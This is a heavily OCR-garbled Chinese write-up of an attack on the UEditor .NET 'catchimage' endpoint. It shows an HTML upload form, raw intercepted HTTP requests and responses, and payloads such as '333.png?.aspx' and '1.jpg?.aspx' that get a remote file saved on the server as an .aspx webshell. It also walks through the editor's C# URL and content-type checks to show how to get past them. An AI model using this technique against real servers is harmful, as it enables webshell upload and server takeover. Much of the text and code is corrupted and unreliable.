TR 1 D3RR ------ ueditorisimsLik

Ox01 SEEERER

PE—NERBHILHINME

« = G QO a8 . —_ditor/net/controller.ashx?action=catchimage

Dymests dFFrn DEpmt @ srms

15

shREN Lk FTSERT LSRRz cnvd

.
BSTRBERM_ERpocksT
Dot H test. Mmlrﬂ new 2, ]EI demo. pyt ]E ip. tt \EI 333. pnel }EI shell. aspx }
REOEN action="_.J8L.,. B0 ___ "3/ueditor/mnet/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
2
3 <p>shell addr: <input type="text" name="source[]" /></p>

5 <input type="submit" value="Submit" />

</form>

REEEBENRECSHvpsititt

_ 4 file:///C:/Usersfcc/Desktop/test/test.html

ODymesss dHFre DAt @ =5msE

shell addr: |fuckufuckufucku |

| Submit |

REEERE



Request Response

Pretty m \n Actions v Pretty m Render \n Actions v

POST /ueditor/net/controller.ashx?action=catchimage HTTE/L1.1

1 HTTE/1.1 200 OK

Wby =

Host: ° 2 Cache-Control: private
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =64; rv:94.0) 2 Content-Type: text/plain; charset=utf-8
Gecko/20100101 Firefox/94.0 4 Server: Microsoft-ITs/10.0
4 Accept: 5 ¥-AspNet-Version: 4.0.30319
text/html, application/xhtml+sml, application/>ml; q=0.9, images/avif & X-Powered-By: ASP.NET
,image/wehp, */*;q=0.8 7 Date: Fri, 19 Mowv Z0Z1 0&:21:29 GMT

Accept-Language: Connection: close

n
@

zh-CN, zh; q=0.8, 2sh-TW; q=0.7, zh-HE; q=0.5, en-U8; q=0.3, en; q=0.2

w

Content-Length: 107
€ Accept-Encoding: gzip, deflate 10

7 Content-Type: multipart/form-data; 11 {"state":"SUCCESS", "list": [{"state": "INVALID_URL", "source':"
boundary=—-----------—--—--—-——--——--——— 33854CZ5483303191394515855575 ‘333.png?.aspx", "url”:inull}]}
B0

Content-Length: Z09

w

Connection: close
L0 Cookie: ASP.NET_ SessionId=pac03qphdoimxxdvwhtplutp

Upgrade-Insecure-Requests: 1

[

————————————————————————————— 33B547648330319139451585557580

Content-Dispositlion: form-data; name="source[]"

[

/333.png?. aspx
T o 338542648330319139451585557580--

R A RPEEEIIXEE—

:"state":"SUCCESS",”list":[{"state':"INUALID_URL","SDurce":”

333 .png?.aspx", "url":null}]}

BRIRRUIAEZN, EAFERE, REEMARIELBERXGE, EEHETE
INVALID_URL Cl'av'-,'lngal'deel‘.cs
tin 1 file -

CrawlerHandler.cs net « Crawler( sourceUrl, HttpServerUtility

State = "INVALID_URL", .SourceUrl = sourceurl;

.Server = server;

Crawler Fetch()

if (!IsExternalIPAddress( .Sourceurl))
{

State = "INVALID URL";
return g

HFLIERIXERD



if (!IsExternalIPAddress( .Sourcelrl))

XANEE, IR—T, BEERSE
IsExternalIPAddress(

uri = Uri(url);
switch (uri.HostNameType)
{
case UriHostNameType.Dns:
ipHostEntry = Dns.GetHostEntrykuri.DnsSafeHost);
foreach (IPAddress ipAddress in ipHostEntry.AddressList)
{
[] ipBytes = ipAddress.GetAddressBytes();
if (ipAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork

{
if (!IsPrivateIP(ipAddress))

{

return

X

break;

case UriHostNameType.IPv4:
return !IsPrivateIP(IPAddress.Parse(uri.DnsSafeHost));

}

return

S H
System.Collections.Generic;
System.I0;

System.Ling;

System.Net;

System.Web;

Test
Main()
url “http://192.168.0.1";

urd Uri(url);
Console.WriteLine(uri.HostNameType);




HFERIEGACode

System;
System.Collections.Generic;
System.I0;

System.Ling;

System.Net;

System.Web;

Test
Main()
url "http://www.baidu.com";

uri Uri(urLy;
Console.WriteLine(uri.HostNameType);

n (ctri+x) || WA | Copy | AFELERE |l ENFE

® MFEFABF O hitmBAAET

|_Dns

A7, EXEFMTRipH it RdnsHlly, REREETE

if (!IsPrivateIP(ipAddress))
{

return

B DIXFRR, WTE



MEEEIRX
ipiER A Mvp

XERATT

IsPrivateIP(IPAddress myIPAddress)

if (IPAddress.IsLoopback(myIPAddress)) return ;

if (myIPAddress.AddressFamily == System.Net.Sockets.AddressFamily.InterN

{
[] ipBytes = myIPAddress.GetAddressBytes();

if (ipBytes[@] == 10)

{

return

lse if (ipBytes[@] == 172 && ipBytes[1] == 16)

return

lse if (ipBytes[@] == 192 && ipBytes[1] == 168)

return

lse if (ipBytes[@] == 169 && ipBytes[1l] == 254)

return

}

return

silip.

MEEAZESip, BAXNERRE—NEENH TERR, tMEERITRE, WRNHERMEI— I httpiRss, EEARRET, 718, BRRiE



Request Response
Pretty JRE \n Actions v Pretty JREINl Render \n Actions v :
1 PO3T Jusditor/net/controller.ashx?action=catchimage HTTE/Ll.1 1 HTTE/l.1 200 R E
2 Hc 2 Cache-Control: privats !
3 User-Agent: Mozilla/595.0 (Windows NT 10.0; Win&4; =&4; rv:94.0) 2 Content-Type: text/plaln; charset=utf-B8 f
Gecko/Z0100101 Firefox/94.0 4 Berver: Microsoft-IIS/10.0
4 Accept: 5 ¥-AspNet-Version: 4.0.30319
text/html, application/xhtml+xml, application/sml; q=0.9, image/avif ¢ X-Powered-By: ASE.NET
,image/webp, */*;q=0.8 7 Date: Fri, 19 Nov 2021 05:53:35 GMT
S Accept-Language: 9 Connectlion: close
zh-CHN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-U3; q=0.3, en; q=0.2 S Content-Length: 154

5 Accept-Encoding: gzip, deflate 10

7 Content-Type: multipart/form-data; 11 {"state": "SUCCESS", "list": [{ "state": "SUCCES3S", "source": "
boundary=--—--—--—---—-----—————--—— 33B54C4483303191394515855575 s f333.png?.aspx", "url”: "upload/image/202111159/83772924
80 B81595858718611394 . aspx"}]}

Content-Length: Z10
S Connection: close
0 Cookie: ASP.NET_SessionId=pac03gphdoimxxlvwhtplutp

1 Upgrade-Insecurs-Regqussts: 1

e e e 338542648330319135451585557580

—n

4 Content-Disposition: form-data; name="source[]"

6" .png?|. aspx

————————————————————————————— 338542648330319139451585557580--

HARIET, FRRIER

L {"state™: "SUCCESS", "list": [{"state": "SUCCESS", "source": "
9 ‘333 .png?.aspx", "url": "upleoad,/image,/20211119/ 63772924
B81595858718611354 , aspx"}]}

FIFRRE—T

« > O A& T . ; - . “611.aspx

Dyxmesss W FFELE DSt @ sris
"/ " N AR R RRIBRSS BRI EIR.

T 2R

B3 HTTP 404, SEESHRMERESEO TR TEDESRE, SESHOEN, SETUE, BER=UT URL FREEHSER.

&E URL: 550924528508611 aspx

IRF(ESE: Microsoft .NET Framework RE==:4.0.30319; ASP.NET fE<:4.7.3282.0

EME XHARE REHBPLEETH
BfE—X

O A —— .- - 3633650.aspx

Ywrte Dxrms ©nmmE
@PNG IHDRG@4 ¢ 4 & pHYs9 9 § +tEXtSoftwareSnipaste] ¢ §fIDAThG 9 ¢ 1990 41909 dOUG0 400 9080UGOWONIGIPOOOUIOWHNUGIPOOOUPOWENGOPOGOUPIWH\UPHPICH HVHIENDHB 'S
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false "flowing" true "hghWatﬂh[ar
k"-16384 "length"-0 "needReadable
"true "objectMode"-false "pipes"n
ull,"pipesCount” -0, "readablelistem
ng"-false "reading"-true, "readingMo
re" false_ "resumeScheduled" - false "s
ync" false} " server"-nmll" sockna
me"-mull." writableState™:
{"bufferProcessing” false, "buffered
Request” -mull_ "bufferedRequestCou
nt" -0, "corked" 0" corkedP equestsFr
ee”:{"entry" -null "next":
{"entry™"-null "next"-null} } "decode
Strings" false,"defanltEncodmng" - "ut
f8" "destroyed" false "emitClose" fa
Ise "ended” true,"ending” true,"error
Emutted"-false "finalCalled" -true."fi
nmished"-false "highWaterMark":163
84 "lastBufferedRequest” -null_ "leng
th"-0,"needDram" -false "objectMod
e" false "pendmngch” 1 "prefimshed”
false_ "sync" false "wntech" null "w
ritelen”-0,"writing" -false} "allowHal
fOpen”:false,"connecting”-false "par
ser-mull "readable” true "server”-mm
11,"wnitable" -false} " statusCode™-40
4 "statusMessage”:-"Not
Found” . "trailers":
{}."upgrade” false "orl"-""} "server
Ermor"-false_ "status"-404. "statusCod
e" 404 "statusType" 4 "type" "text’h
tml", lmamhﬂrﬂed" false "unproces

HABR? XIRET
BEMIUEE—T

«c =5 O

OymEsss O HErtr DAt Q sFEes

*/" N IR PHIBRSS 25 TEIR.

T R,

BAE: HTTP 404, EFEEFSESAEREEES—TEIDTEEEEE, SESH0EN, SERFUA, BESELT URL HREEHSER,

&R URL: . " taspx

WSR2 Microgoft NET Framework kE=5:4.0.30319; ASP.NET if#:4.7.3282.0

EME BXRT BHE



HAEGHRMBIISENERAIE, KISERAAERE, MAX M aspxtIBFRETjavalIRNED, —RIHAILI—EFEA, MENAXERTHIERLT,
FUratiER, BEFEER— 2D,

SHBERIRKIS R DM KB R DR

REERvpsE, REES BRI TRNSE, ARENEE

&« @] O A

DsomEsns OFEte D sEm @ mwms
" /" N FRIBR SRS EIR.
BT, TEARER.

B FUTHE Web EREEF, HESSNENRE, SRERERERES, UTEENEERURAETIIERMNBIMITEEES,

REiFMES: System Security. Cryptography. CryptographicException: E7 708, FTHIRERE,
BEE:
T 12: 27208 tfxawfirReedl 2 B 5t 7] BEME . gffi9 2 THEoox 2 h 2 B2 Bl 2miSwe~nTE F 182002 S riBanvElvis BiZos B /o~ TR BB EL IR 2Q2 furme Bl 23 BEjiliEy 221

Eri: LLURELE_LUtias i Taspx §T: 14
HREE:

[CryptographicException: HEIEFLH, TiZMEM. ]
System.Security.Cryptography.RijndaelManagedTransform.DecryptData(Byte[] inputBuffer, Int32 inputOffset, Int32 inputCount, Byte[]& outpui
System.Security.Cryptography.RijndaelManagedTransform. TransformFinalBlock(Byte[] inputBuffer, Int32 inputOffset, Int32 inputCount) +267
ASP.ueditor_net_upload_image_ 208211119 63772926537489930861904747 _aspx._ Render_ controll(HtmlTextWriter _ w, Control parameterContainer) :
System.lbeb.UI.Control.RenderChildrenInternal (HtmlTextWriter writer, ICollection children) +117
System.lWeb.UI.Page.Render(HtmlTextWriter writer) +39
System.leb.UI.Control.RenderControlInternal (HtmlTexthriter writer, ControlAdapter adapter) +79
System.leb.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +8753

RE#&=2: Microsoft NET Framework kid:4.0.30319; ASP.NET if:4.7.3282.0

okpl&RIERE, (BRABXE, HiNEAKBSNEE—T

EETIEERR
NPEEREET
BRR

URL: | R i 747 aspx

EHREE | ST | EHESE | THERE  ANSEE  RiEshell | ZUEESE | EEMABE | FLTE | VFBIE 85F |
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Request Response

Pretty m \n Actions v Pretty m Render \n Actions v

1 POST /ueditor/net/controller. ashx?action=catchimages HTTE/L1.1 1 HTTE/1.1 200 OK

2 Host: . 2 Cache-Control: private

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =x64; cv:94.0) 3 Content-Type: text/plain; charset=utf-8
Gecko/20100101 Firefox/94.0 4 Berver: Microsoft-IIsS/10.0

4 Accept: 5 ¥-AspMNet-Version: 4.0.30319
text/html, application/xhtml+sml, application/saml; q=0.9, image/avif € X-Powered-By: ASP.MNET
,image/webp, */*; q=0.8 7 Date: Fri, 19 Nowv Z0Z1 05:55:0& GMT

wn
@

Accept-Language: Connection: close

w

zh-CHN, zh; q=0.8, 2sh-TW; g=0.7, sh-HE; q=0.5, en-U&; q=0.3, en; q=0.2 Content-Length: 111

& Accept-Encoding: gzip, deflate 10

7 Content-Type: multipart/form-data; 11|{"state": "SUCCESS", "list": [{"state":"Url is not an
boundary=---------—------=----—----—----— 33854C6483303191394515855373 image",
80

Content-Length: Z03

"source”: | 1 - caspx”, "url":inull}]}

S Connection: close
10 Cookie: ASP.NET_SessionId=paoc03qphdoimxx0vwhtplutp

11 Upgrade-Insecure-Requests: 1

13 -——-———— e 338547F48330319139451585557580

14 Content-Disposition: form-data; name="source[]"

17|-------——— - 33854C648330319135451585557580--

if (!IsExternalIPAddress( .Sourceurl)) > IsExternallPAddre
{
CrawlerHandler.cs net » App._... State WALID_URL";
State = "Url is not an image"; X FE AL ;
request = HttpWebRequest.Create( .SourceUrl) HttpWebRe
using ( response = request.GetResponse() HttpWebResponse)
{
if (response.StatusCode != HttpStatusCode.OK)
{

State = "Url returns " + response.StatusCode + ", " + re
return 3

)

if (response.ContentType.IndexOf("image") == -1)

{

State = "Url-is-not-an-image";
return H

}

ServerUrl = PathFormatter.Format(Path.GetFileName ( .Sourc
savePath = Server.MapPath(ServeruUrl);
if (!Directory.Exists(Path.GetDirectoryName(savePath)))

oS, BERESRYRLZEConotentType
XBEFRZEHM—Mxt, ARIENHERTipg, HIXEE



Users\cchDesktopy1.jpg - Motepad++
FEE ZE=FRQ #WENV w#BEN FsEL =EO I1EO =M ETR BEEHE sOW)
BRLE] ey 2% BER| 1 EEEND S
1 ,lnew 2 ,IE deme. py ,]E ip. txt ,IE 333. png ,IE shell. aspxd | Bl new 363 A 1.jpgt‘3|
fuckufuckufuckq

XEERASEpgXHR, ARH=HNEpayload BEE

Request Response

Pretty IGEJ \n Actions v Pretty JiE)J Render \n Actions Vv
1 POST /ueditor/net/controller. ashx?action=catchimage HTTE/Ll.1 1 HTTP/1.1 200 ORK

2 Host: . Cache-Control: private

Wk

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; =x64; rv:94.0)
Gecko/Z0100101 Firefox/94.0

Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/10.0

(L

4 Accept: X-AspNet-Version: 4.0.30319
text/html, application/xhtml+zml, application/znl; q=0.9, image/avif © X-Powered-By: ASE.NET
;image/wshp, */*; q=0.8 7 Date: Fri, 19 Nov 2021 0&:05:47 GMT

wn
™

Accept-Language: Connection: close

w

zh-CN, zh; q=0.8, zh-TW; q=0.7, sh-HK; q=0.5, en-Ug; q=0.3, en; gq=0.2 Content-Length: 145

& Accept-Encoding: gzip, deflate 10

7 Content-Type: multipart/form-data; 11 {"state":"SUCCESS", "list": [{"state": "SUCCESS", "source": "
boundary=-—————----———-——----———————— 33B5425483303191394515855575 Al.qpg", "url™: " A i '54745870
80 577555430.9pg"}]1}

Content-Length: 202

) Connection: close
0 Cookie: ASP.NET_ SessionId=pacO3gphdoimxxlvwhtplutp

Upgrade-Insecure-Requests: 1

e ettt 33854C64B330319139451585557580

Content-Disposition: form-data; nams=

.

source[]"

Vo

7 mm e 3385472648330319139451585557580--

XBART, BHE, REAAR DEREAMTUEE

SREHMI8Ipayload £1.jpg?.aspx
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Crawler Fetch()

if (!IsExternalIPAddress( .SourceUrl))
{
State = "INVALID_URL";
return ;
}
request = HttpWebRequest.Create( .SourceUrlb HttpWebRequest;
using ( response = request.GetResponse() HttpWebResponse)
{
if (response.StatusCode != HttpStatusCode.OK)
{

State = "Url returns
return ;

+ response.StatusCode +

" n
]

+ response.StatusDescription;

}
if (response.ContentType.IndexOf("image") == -1)
{

State = "Url is not an image";

return 5

BRAtEFiRIR, BEiEiEHiresponsefIZEEL NimageZ BIFHAILL T
REXApayload

http://www.baidu.com/1.jpg?.asp

& c O & hitps://www.baidu.com/1

Dymesss dFHFre DAl © s

Not Found

The requested URL /1 .'pﬁwas not found on this server.

XEFHRIAMANEEELHE KRG, HAEEEERRSY, NRHANEENMESE, AR, EHEIR T _ HAKBHH—FRFIrequestil
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